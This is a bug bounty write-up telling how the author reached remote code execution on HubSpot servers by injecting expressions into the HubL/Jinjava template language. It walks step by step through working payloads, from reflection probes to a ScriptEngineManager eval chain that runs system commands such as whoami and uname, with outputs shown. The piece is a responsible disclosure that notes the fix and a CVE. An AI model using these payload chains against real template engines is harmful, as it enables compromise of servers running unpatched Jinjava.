Skip to main content

RCE in Hubspot with EL injection in HubL

This is the story of how I was able to get remote code execution on Hubspot's servers by exploiting a vulnerability in HubL expression language, which is used for creating templates and custom modules within the Hubspot CRM. I had absolutely no experience with these kinds of vulnerabilities before and it turned out to be a very interesting learning opportunity. In this post,  I go through the process I followed while researching and how little pieces were connected together to achieve a much bigger goal. 

Getting started

While working on the Hubspot's bugbounty program, I came across a functionality which looked very interesting. Users can create custom designs for emails or blogs from the design manager and can use HubL expression language in their templates.
Because HubL is a markup language, I began with the payload {{7*7}} and got a nice '49' back which means the server was treating anything within two curly brackets as HubL code. 

Bear in mind, at this point I didn't know anything about expression languages or HubL so I decided to fuzz the input and see what template engine is being used at server side by following the method posted at PortSwigger blog

Interestingly the output didn't follow any known pattern and I reached "Unknown" or "Not Vulnerable". Giving up after a few tries is lame, so I decided it was time to RTFM!

HubL Intro:

This is a very high level intro to HubL expression language and I am by no means an expert. The following section contains just enough information to understand what was happening and how I exploited the bug.

The following 3 types of delimiters are used to separate HubL and HTML within the module's code.

{% %} - statement delimiters

HubL statements are used to create editable modules, define conditional template logic, set up for loops, define variables, and more.

{{ }} - expression delimiters

Anything between expression delimiters {{ }} will be evaluated by the templating engine, and thats what I was more interested in.

{# #} - comment delimiters

Anything between the {# #} will be commented out or ignored by the parser.


There are some built in variables such as {{ account }}, {{ company_domain }}, {{ content }} etc which can be used within a module. The parser replaces these variables with their actual values at runtime. e.g. {{ company_domain }} will be replaced by Your Company's domain name. Users can also declare custom variables within statement {% %} blocks and these can be used within expression {{ }} blocks just like built-in variables.

Another interesting thing to note here is that the documentation says HubL is based on Jinja but as observed before, the output wasn't following normal Jinja pattern when evaluating the expressions. 

Let the hacking begin!
For all below examples, the payload was submitted in template_source parameter in the POST request and its output was seen in output_html & html fields.

After trying most of the built in variable names, I stumbled upon an undocumented variable: "request" which returned an interesting string.

Payload: {{ request }}
Output: com.hubspot.content.hubl.context.TemplateContextRequest@23548206

Nice! This looks like the memory location of the 'request' object! And it also looked like Java from the naming convention. After some Google searches, I tried the following payloads to verify if its a Java based template engine:

Convert a string to upper case -
Payload: {{'a'.toUpperCase()}}
Output: A

Concatenate two characters - 
Payload: {{'a'.concat('b')}}
Output: ab

Awesome! This looked very promising. The template engine not only parses its own syntax, it also allows us to call built-in methods. 

The Vulnerability

Trying to get the class of a character - 
Payload: {{'a'.getClass()}}
Output: java.lang.String

Excellent! Java is confirmed! The vulnerability here is that it was possible to call the getClass() method on any object. 
At this point I was sure this could be exploited to something bigger. But before shooting for the moon, I wanted to understand how expression language works so I started by gathering more information:

Get class of the request object -
Payload: {{request.getClass()}}
Output: class com.hubspot.content.hubl.context.TemplateContextRequest

Get declared methods of a class ( increment from 0 to any number to get all the methods)
Payload: {{request.getClass().getDeclaredMethods()[0]}}
Output: public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

At this point, I searched for "com.hubspot.content.hubl.context.TemplateContextRequest" and discovered the Jinjava project on Github.
Looking at the class declaration in the source, I was also able to call methods from the request class - 
Payload: {{request.isDebug()}}
Output: false

To take it a step further, I learnt that you can use the forName() and newInstance() methods to get an instance of a completely different class -

Using string 'a' to get an instance of class sun.misc.Launcher -
Payload: {{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
Output: sun.misc.Launcher@715537d4

It is also possible to get a new object of the Jinjava class -
Payload: {{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
Output: com.hubspot.jinjava.JinjavaConfig@78a56797

It was also possible to call methods on the created object by combining the {% %} and {{ }} blocks -
Payload: {% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}{{ji.render('{{1*2}}')}}
Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method.
In the next block, I called the render method on 'ji' with expression {{1*2}}.
Output: 2
Jinjava Inception!

I now had enough understanding and was ready to get the coveted remote code execution. From what I'd read, that should be easy. Just create an object of java.lang.Runtime class and call the exec() method on it. So....
Payload: {{'a'.getClass().forName('java.lang.Runtime').newInstance()}}
Output: TemplateSyntaxException: java.lang.IllegalAccessException: Class javax.el.BeanELResolver can not access a member of class java.lang.Runtime with modifiers "private"

Bummer! Looks like Runtime is blocked. To make sure I am not missing anything, I tried getting the declared methods of the Runtime class with getDeclaredMethods call and it worked fine, meaning that calling the newInstance()  method on java.lang.Runtime class was not allowed. 

Knowing Java's history, I was pretty sure there will be another way.
Time to find an alternative.
First option: java.lang.System
Payload: {{'a'.getClass().forName('java.lang.System').newInstance()}}
Ouput: TemplateSyntaxException: java.lang.IllegalAccessException: Class javax.el.BeanELResolver can not access a member of class java.lang.System with modifiers "private"
Arrggh... one more candidate lost.

After frantic searches and asking around, I found this gem of a blog which introduced to me to javax.script.ScriptEngineManager. 

Output: javax.script.ScriptEngineManager@727c1a89

Amazing! So I got an object of ScriptEngineManager means RCE was on the horizon.
But before that, I had to get to know my new friend ScriptEngineManager.

Find out what type javascript engine this is -
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript')}}
Output: jdk.nashorn.api.scripting.NashornScriptEngine@7f97607a

A bounty writeup without a meme is not fun!

Get the script context - 
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').getContext()}}
Output: jdk.nashorn.api.scripting.NashornScriptEngine@7f97607a

Get language name - 
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineFactories()[0].getLanguageName()}}
Output: ECMAScript

Get language version - 
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineFactories()[0].getLanguageVersion()}}
Output: ECMA - 262 Edition 5.1

Now go for the kill.

To get RCE using the ScriptEngineManager, you have to run the ever so useful "eval" method with some Java code thrown into it.
After a lot of trial and errors, I finally got eval to work.
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
Output: xxx

I successfully evaluated dynamic java code using ScriptEngineManager instance! 
Now I only need to substitute real code that will execute system commands and throw it into eval.

After another trial and error session, I finally had some success -
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
Output: java.lang.UNIXProcess@1e5f456e

Woot! The output was a reference to a UNIXProcess object which means my command was successfully executed! I could have now ran a reverse shell command and obtained a shell but since I was able to see the output, I decided to push this a little more and get the command's output in response itself.

Another frantic search session resulted with the discovery of This class provides static utility methods for input/output operations.

My final payload was -
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\");\")}}

Output: See for yourselves!


It took me a few more tries to learn how to pass multiple arguments to the commands.
Notice the x.command function! -
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\");\")}}
Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux\n

As you can imagine, it was quite a struggle but in the end I had a lot of fun and learnt a lot in the process. The Jinjava project was introduced by Hubspot back in 2014, that means this bug had been around 4 years in nobody found it (hopefully). The Hubspot team was very receptive and fixed it very fast by disabling the "getClass" method on a variable. You can find the fix here.


A couple of days after fixing the vulnerability, Hubspot informed me that since "Jinjava" - an open source project - is being used by many other companies apart from Hubspot, they have applied for a CVE and I will be credited in it for the discovery of this issue! Sweet!